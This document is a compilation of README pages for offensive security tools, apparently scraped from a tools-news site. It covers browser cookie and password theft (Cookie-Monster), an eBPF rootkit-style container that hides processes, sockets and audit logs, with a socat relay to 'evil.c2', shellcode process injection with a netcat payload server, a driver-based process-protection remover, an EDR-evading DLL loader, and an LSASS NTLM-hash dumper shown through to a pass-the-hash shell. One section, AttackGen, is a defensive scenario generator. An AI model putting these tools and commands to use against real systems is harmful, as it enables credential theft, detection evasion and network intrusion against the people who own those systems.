Cookie-Monster - BOF To Steal Browser Cookies & Credentials

Steal browser cookies for edge, chrome and firefox through a BOF or exe! Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the Cookies and Login Data files, copy the handle(s) and then filelessly download the target. Once the Cookies/Login Data file(s) are downloaded, the python decryption script can help extract those secrets! Firefox module will parse the profiles.ini and locate where the logins.json and key4.db files are located and download them. A seperate github repo is referenced for offline decryption.

BOF Usage

Usage: cookie-monster [ --chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid>] 
cookie-monster Example: 
   cookie-monster --chrome 
   cookie-monster --edge 
   cookie-moster --firefox 
   cookie-monster --chromeCookiePID 1337
   cookie-monster --chromeLoginDataPID 1337
   cookie-monster --edgeCookiePID 4444
   cookie-monster --edgeLoginDataPID 4444
cookie-monster Options: 
    --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD 
    --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD 
    --firefox, looks for profiles.ini and locates the key4.db and logins.json file 
    --chromeCookiePID, if chrome PI   D is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
    --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file  
    --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
    --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file  

EXE usage

Cookie Monster Example:
  cookie-monster.exe --all 
Cookie Monster Options:
  -h, --help                     Show this help message and exit
  --all                          Run chrome, edge, and firefox methods
  --edge                         Extract edge keys and download Cookies/Login Data file to PWD
  --chrome                       Extract chrome keys and download Cookies/Login Data file to PWD
  --firefox                      Locate firefox key and Cookies, does not make a copy of either file

Decryption Steps

Install requirements

pip3 install -r requirements.txt

Base64 encode the webkit masterkey

python3 base64-encode.py "\xec\xfc...."

Decrypt Chrome/Edge Cookies File

python .\decrypt.py "XHh..." --cookies ChromeCookie.db

Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22

Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22

Decrypt Chome/Edge Passwords File

python .\decrypt.py "XHh..." --passwords ChromePasswords.db

Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty

Decrypt Firefox Cookies and Stored Credentials:
https://github.com/lclevy/firepwd

Installation

Ensure Mingw-w64 and make is installed on the linux prior to compiling.

make

to compile exe on windows

gcc .\cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32

TO-DO

• update decrypt.py to support firefox based on firepwd and add bruteforce module based on DonPAPI

References

This project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos! Highly recommend checking out his lessons!!!
Cookie Webkit Master Key Extractor: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
Fileless download: https://github.com/fortra/nanodump
Decrypt Cookies and Login Data: https://github.com/login-securite/DonPAPI

Attackgen - Cybersecurity Incident Response Testing Tool That Leverages The Power Of Large Language Models And The Comprehensive MITRE ATT&CK Framework

AttackGen is a cybersecurity incident response testing tool that leverages the power of large language models and the comprehensive MITRE ATT&CK framework. The tool generates tailored incident response scenarios based on user-selected threat actor groups and your organisation's details.

Star the Repo

If you find AttackGen useful, please consider starring the repository on GitHub. This helps more people discover the tool. Your support is greatly appreciated! ⭐

Features

• Generates unique incident response scenarios based on chosen threat actor groups.
• Allows you to specify your organisation's size and industry for a tailored scenario.
• Displays a detailed list of techniques used by the selected threat actor group as per the MITRE ATT&CK framework.
• Create custom scenarios based on a selection of ATT&CK techniques.
• Capture user feedback on the quality of the generated scenarios.
• Downloadable scenarios in Markdown format.
• 🆕 Use the OpenAI API, Azure OpenAI Service, Mistral API, or locally hosted Ollama models to generate incident response scenarios.
• Available as a Docker container image for easy deployment.
• Optional integration with LangSmith for powerful debugging, testing, and monitoring of model performance.

Releases

v0.4 (current)

v0.3

v0.2

v0.1

Initial release.

Requirements

• Recent version of Python.
• Python packages: pandas, streamlit, and any other packages necessary for the custom libraries (langchain and mitreattack).
• OpenAI API key.
• LangChain API key (optional) - see LangSmith Setup section below for further details.
• Data files: enterprise-attack.json (MITRE ATT&CK dataset in STIX format) and groups.json.

Installation

Option 1: Cloning the Repository

1. Clone this repository:

git clone https://github.com/mrwadams/attackgen.git

1. Change directory into the cloned repository:

cd attackgen

1. Install the required Python packages:

pip install -r requirements.txt

Option 2: Using Docker

1. Pull the Docker container image from Docker Hub:

docker pull mrwadams/attackgen

LangSmith Setup

If you would like to use LangSmith for debugging, testing, and monitoring of model performance, you will need to set up a LangSmith account and create a .streamlit/secrets.toml file that contains your LangChain API key. Please follow the instructions here to set up your account and obtain your API key. You'll find a secrets.toml-example file in the .streamlit/ directory that you can use as a template for your own secrets.toml file.

If you do not wish to use LangSmith, you must still have a .streamlit/secrets.toml file in place, but you can leave the LANGCHAIN_API_KEY field empty.

Data Setup

Download the latest version of the MITRE ATT&CK dataset in STIX format from here. Ensure to place this file in the ./data/ directory within the repository.

Running AttackGen

After the data setup, you can run AttackGen with the following command:

streamlit run 👋_Welcome.py

You can also try the app on Streamlit Community Cloud.

Usage

Running AttackGen

Option 1: Running the Streamlit App Locally

1. Run the Streamlit app:

streamlit run 👋_Welcome.py

1. Open your web browser and navigate to the URL provided by Streamlit.
2. Use the app to generate standard or custom incident response scenarios (see below for details).

Option 2: Using the Docker Container Image

1. Run the Docker container:

docker run -p 8501:8501 mrwadams/attackgen

This command will start the container and map port 8501 (default for Streamlit apps) from the container to your host machine. 2. Open your web browser and navigate to http://localhost:8501. 3. Use the app to generate standard or custom incident response scenarios (see below for details).

Generating Scenarios

Standard Scenario Generation

1. Choose whether to use the OpenAI API or the Azure OpenAI Service.
2. Enter your OpenAI API key, or the API key and deployment details for your model on the Azure OpenAI Service.
3. Select your organisatin's industry and size from the dropdown menus.
4. Navigate to the Threat Group Scenarios page.
5. Select the Threat Actor Group that you want to simulate.
6. Click on 'Generate Scenario' to create the incident response scenario.
7. Use the 👍 or 👎 buttons to provide feedback on the quality of the generated scenario. N.B. The feedback buttons only appear if a value for LANGCHAIN_API_KEY has been set in the .streamlit/secrets.toml file.

Custom Scenario Generation

1. Choose whether to use the OpenAI API or the Azure OpenAI Service.
2. Enter your OpenAI API Key, or the API key and deployment details for your model on the Azure OpenAI Service.
3. Select your organisation's industry and size from the dropdown menus.
4. Navigate to the Custom Scenario page.
5. Use the multi-select box to search for and select the ATT&CK techniques relevant to your scenario.
6. Click 'Generate Scenario' to create your custom incident response testing scenario based on the selected techniques.
7. Use the 👍 or 👎 buttons to provide feedback on the quality of the generated scenario. N.B. The feedback buttons only appear if a value for LANGCHAIN_API_KEY has been set in the .streamlit/secrets.toml file.

Please note that generating scenarios may take a minute or so. Once the scenario is generated, you can view it on the app and also download it as a Markdown file.

Contributing

I'm very happy to accept contributions to this project. Please feel free to submit an issue or pull request.

Licence

This project is licensed under GNU GPLv3.

Nysm - A Stealth Post-Exploitation Container

A stealth post-exploitation container.

Introduction

With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible in its own eyes? From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:

• bpftool
• bpflist-bpfcc
• ps
• top
• sockstat
• ss
• rkhunter
• chkrootkit
• lsof
• auditd
• etc...

All these tools go blind to what goes through nysm. It hides:

• New eBPF programs
• New eBPF maps ️
• New eBPF links 
• New Auditd generated logs 
• New PIDs 着
• New sockets 

Warning This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.

Installation

Requirements

sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y

Linux headers

cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

Build

cd ./nysm/src/
make

Usage

nysm is a simple program to run before the intended command:

Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.

  -d, --detach               Run COMMAND in background
  -r, --rm                   Self destruct after execution
  -v, --verbose              Produce verbose output
  -h, --help                 Display this help
      --usage                Display a short usage message

Examples

Run a hidden bash:

./nysm bash

Run a hidden ssh and remove ./nysm:

./nysm -r ssh user@domain

Run a hidden socat as a daemon and remove ./nysm:

./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443

How it works

In general

As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.

To differentiate nysm events from the others, everything runs inside a seperated PID namespace.

Hide eBPF objects

bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list.

As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument.

To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id.

In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm.

Program, map, and link IDs are collected from security_bpf_prog(), security_bpf_map(), and bpf_link_prime().

Hide Auditd logs

Auditd receives its logs from recvfrom() which stores its messages in a buffer.

If the message received was generated by a nysm process through audit_log_end(), it replaces the message length in its nlmsghdr header by 0.

Hide PIDS

Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record.

As getdents64() requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses tail calls before reaching it.

Hide sockets

Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined.

Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.

These are collected from the connect() and bind() calls.

Limitations

Even with the best effort, nysm still has some limitations.

• Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up. But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.

• Kernel logs: dmesg and /var/log/kern.log, the message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run.

• Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions.

• Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.

• Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.

Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.

ProcessStomping - A Variation Of ProcessOverwriting To Execute Shellcode On An Executable'S Section

A variation of ProcessOverwriting to execute shellcode on an executable's section

What is it

For a more detailed explanation you can read my blog post

Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.

These are the main steps of the ProcessStomping technique:

1. CreateProcess - setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
2. WriteProcessMemory - used to write each malicious shellcode to the target process section.
3. SetThreadContext - used to point the entrypoint to a new code section that it has written.
4. ResumeThread - self-explanatory.

As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.

Disclaimer

All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

Credits

This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.

Usage

Select your target process and modify global variables accordingly in ProcessStomping.cpp.

Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:

cd \sRDI-master

python .\lib\Python\EncodeBlobs.py .\

Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:

python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

The shellcode blob can then be xored with a key-word and downloaded using a simple socket

python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

Deliver the xored blob upon connection

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

The sRDI blob will get erased after execution to remove unneeded artifacts.

Caveats

To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.

Detection opportunities

Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.

PPLcontrol - Controlling Windows PP(L)s

This tool allows you to list protected processes, get the protection level of a specific process, or set an arbitrary protection level. For more information, you can read this blog post: Debugging Protected Processes.

Usage

1. Download the MSI driver

You can get a copy of the MSI driver RTCore64.sys here: PPLKiller/driver.

2. Install the MSI driver

Disclaimer: it goes without saying that you should never install this driver on your host machine. Use a VM!

sc.exe create RTCore64 type= kernel start= auto binPath= C:\PATH\TO\RTCore64.sys DisplayName= "Micro - Star MSI Afterburner"
net start RTCore64

3. Use PPLcontrol

List protected processes.

PPLcontrol.exe list

Get the protection level of a specific process.

PPLcontrol.exe get 1234

Set an arbitrary protection level.

PPLcontrol.exe set 1234 PPL WinTcb

Protect a non-protected process with an arbitrary protection level. This will also automatically adjust the signature levels accordingly.

PPLcontrol.exe protect 1234 PPL WinTcb

Unprotect a protected process. This will set the protection level to 0 (i.e. None) and the EXE/DLL signature levels to 0 (i.e. Unchecked).

PPLcontrol.exe unprotect 1234

4. Uninstall the driver

net stop RTCore64
sc.exe delete RTCore64

Use cases

Debugging a protected process with WinDbg

WinDbg just needs to open the target process, so you can use PPLcontrol to set an arbitrary protection level on your windbg.exe process.

1. Get the PID of the windbg.exe process.
2. Use PPLcontrol to set an arbitrary protection level.

C:\Temp>tasklist | findstr /i windbg
windbg.exe                    1232 Console                    1     24,840 K
C:\Temp>PPLcontrol.exe protect 1232 PPL WinTcb
[+] The Protection 'PPL-WinTcb' was set on the process with PID 1232, previous protection was: 'None-None'.
[+] The Signature level 'WindowsTcb' and the Section signature level 'Windows' were set on the process with PID 1232.

Inspecting a protected process with API Monitor

In addition to opening the target process, API monitor injects a DLL into it. Therefore, setting an arbitrary protection level on your apimonitor.exe process won't suffice. Since the injected DLL is not properly signed for this purpose, the Section signature flag of the target process will likely prevent it from being loaded. However, you can temporarily disable the protection on the target process, start monitoring it, and restore the protection right after.

Failed to load module in target process - Error: 577, Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

1. Get the PID of the target process.
2. Use PPLcontrol to get the protection level of the target process.
3. Unprotect the process.
4. Start monitoring the process with API Monitor.
5. Restore the protection of the target process.

C:\Temp>tasklist | findstr /i target
target.exe                    1337 Services                   1     14,160 K
C:\Temp>PPLcontrol.exe get 1337
[+] The process with PID 1337 is a PPL with the Signer type 'WinTcb' (6).
C:\Temp>PPLcontrol.exe unprotect 1337
[+] The process with PID 1337 is no longer a PP(L).

C:\Temp>PPLcontrol.exe protect 1337 PPL WinTcb
[+] The Protection 'PPL-WinTcb' was set on the process with PID 1337, previous protection was: 'None-None'.
[+] The Signature level 'WindowsTcb' and the Section signature level 'Windows' were set on the process with PID 1337.

Build

1. Open the solution in Visual Studio.
2. Select Release/x64 (x86 is not supported and will probably never be).
3. Build solution

Credit

• @aceb0nd for the tool PPLKiller
• @aionescu for the article Protected Processes Part 3: Windows PKI Internals (Signing Levels, Scenarios, Root Keys, EKUs & Runtime Signers)

Wanderer - An Open-Source Process Injection Enumeration Tool Written In C#

Wanderer is an open-source program that collects information about running processes. This information includes the integrity level, the presence of the AMSI as a loaded module, whether it is running as 64-bit or 32-bit as well as the privilege level of the current process. This information is extremely helpful when building payloads catered to the ideal candidate for process injection.

This is a project that I started working on as I progressed through Offensive Security's PEN-300 course. One of my favorite modules from the course is the process injection & migration section which inspired me to be build a tool to help me be more efficient in during that activity. A special thanks goes out to ShadowKhan who provided valuable feedback which helped provide creative direction to make this utility visually appealing and enhanced its usability with suggested filtering capabilities.

Usage

PS C:\> .\wanderer.exe

     >> Process Injection Enumeration
     >> https://github.com/gh0x0st

Usage: wanderer [target options] <value> [filter options] <value> [output options] <value>

Target Options:

-i, --id, Target a single or group of processes by their id number
-n, --name, Target a single or group of processes by their name
-c, --current, Target the current process and reveal the current privilege level
-a, --all, Target every running process

Filter Options:

--include-denied, Include instances where process access is denied
--exclude-32, Exclude instances where the process architecture is 32-bit
--exclude-64, Exclude instances where the process architecture is 64-bit
--exclude-amsiloaded, Exclude instances where amsi.dll is a loaded proces   s module
--exclude-amsiunloaded, Exclude instances where amsi is not loaded process module
--exclude-integrity, Exclude instances where the process integrity level is a specific value

Output Options:

--output-nested, Output the results in a nested style view
-q, --quiet, Do not output the banner

Examples:

Enumerate the process with id 12345
C:\> wanderer --id 12345

Enumerate all processes with the names process1 and processs2
C:\> wanderer --name process1,process2

Enumerate the current process privilege level
C:\> wanderer --current

Enumerate all 32-bit processes
C:\wanderer --all --exclude-64

Enumerate all processes where is AMSI is loaded
C:\> wanderer --all --exclude-amsiunloaded

Enumerate all processes with the names pwsh,powershell,spotify and exclude instances where the integrity level is untrusted or low and exclude 32-bit processes
C:\> wanderer    --name pwsh,powershell,spotify --exclude-integrity untrusted,low --exclude-32

Screenshots

Example 1

Example 2

Example 3

Example 4

Example 5

LSMS - Linux Security And Monitoring Scripts

AtomLdr - A DLL Loader With Advanced Evasive Features

A DLL Loader With Advanced Evasive Features

Features:

• CRT library independent.
• The final DLL file, can run the payload by loading the DLL (executing its entry point), or by executing the exported "Atom" function via the command line.
• DLL unhooking from \KnwonDlls\ directory, with no RWX sections.
• The encrypted payload is saved in the resource section and retrieved via custom code.
• AES256-CBC Payload encryption using custom no table/data-dependent branches using ctaes; this is one of the best custom AES implementations I've encountered.
• Aes Key & Iv Encryption.
• Indirect syscalls, utilizing HellHall with ROP gadgets (for the unhooking part).
• Payload injection using APC calls - alertable thread.
• Payload execution using APC - alertable thread.
• Api hashing using two different implementations of the CRC32 string hashing algorithm.
• The total Size is 17kb + payload size (multiple of 16).

How Does The Unhooking Part Work

AtomLdr's unhooking method looks like the following

the program Unhooking from the \KnwonDlls\ directory is not a new method to bypass user-land hooks. However, this loader tries to avoid allocating RWX memory when doing so. This was obligatory to do in KnownDllUnhook for example, where RWX permissions were needed to replace the text section of the hooked modules, and at the same time allow execution of functions within these text sections.

This was changed in this loader, where it suspends the running threads, in an attempt to block any function from being called from within the targetted text sections, thus eliminating the need of having them marked as RWX sections before unhooking, making RW permissions a possible choice.

This approach, however, created another problem; when unhooking, NtProtectVirtualMemory syscall and others were using the syscall instruction inside of ntdll.dll module, as an indirect-syscall approach. Still, as mentioned above, the unhooked modules will be marked as RW sections, making it impossible to perform indirect syscalls, because the syscall instruction that we were jumping to, can't be executed now, so we had to jump to another executable place, this is where win32u.dll was used.

win32u.dll contains some syscalls that are GUI-related functions, making it suitable to jump to instead of ntdll.dll. win32u.dll is loaded (statically), but not included in the unhooking routine, which is done to insure that win32u.dll can still execute the syscall instruction we are jumping to.

The suspended threads after that are resumed.

It is worth mentioning that this approach may not be that efficient, and can be unstable, that is due to the thread suspension trick used. However, it has been tested with multiple processes with positive results, in the meantime, if you encountered any problems, feel free to open an issue.

Usage

• PayloadBuilder is compiled and executed with the specified payload, it will output a PayloadConfig.pc file, that contains the encrypted payload, and its encrypted key and iv.
• The generated PayloadConfig.pc file will then replace this in the AtomLdr project.
• Compile the AtomLdr project as x64 Release.
• To enable debug mode, uncomment this here.

Demo (1)

• Executing AtomLdr.dll using rundll32.exe, running Havoc payload, and capturing a screenshot

• AtomLdr.dll's Import Address Table

Demo - Debug Mode(2)

• Running PayloadBuilder.exe, to encrypt demon[111].bin - a Havoc payload file

• Running AtomLdr.dll using rundll32.exe

• Havoc capturing a screenshot, after payload execution

Based on

• ctaes
• WriteProcessMemoryAPC
• VX-API

DragonCastle - A PoC That Combines AutodialDLL Lateral Movement Technique And SSP To Scrape NTLM Hashes From LSASS Process

A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.

Description

Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.

The DLLMain always returns False so the processes doesn't keep it.

Caveats

It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:

The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.

Usage

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid doma   in name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value</   pre>

Example

Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977   b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!

psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                            Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivile   ge                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               En   able computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

Author

Juan Manuel Fernández (@TheXC3LL)

References

• https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/
• https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/
• https://adepts.of0x.cc/physical-graffiti-lsass/
• https://blog.xpnsec.com/exploring-mimikatz-part-2/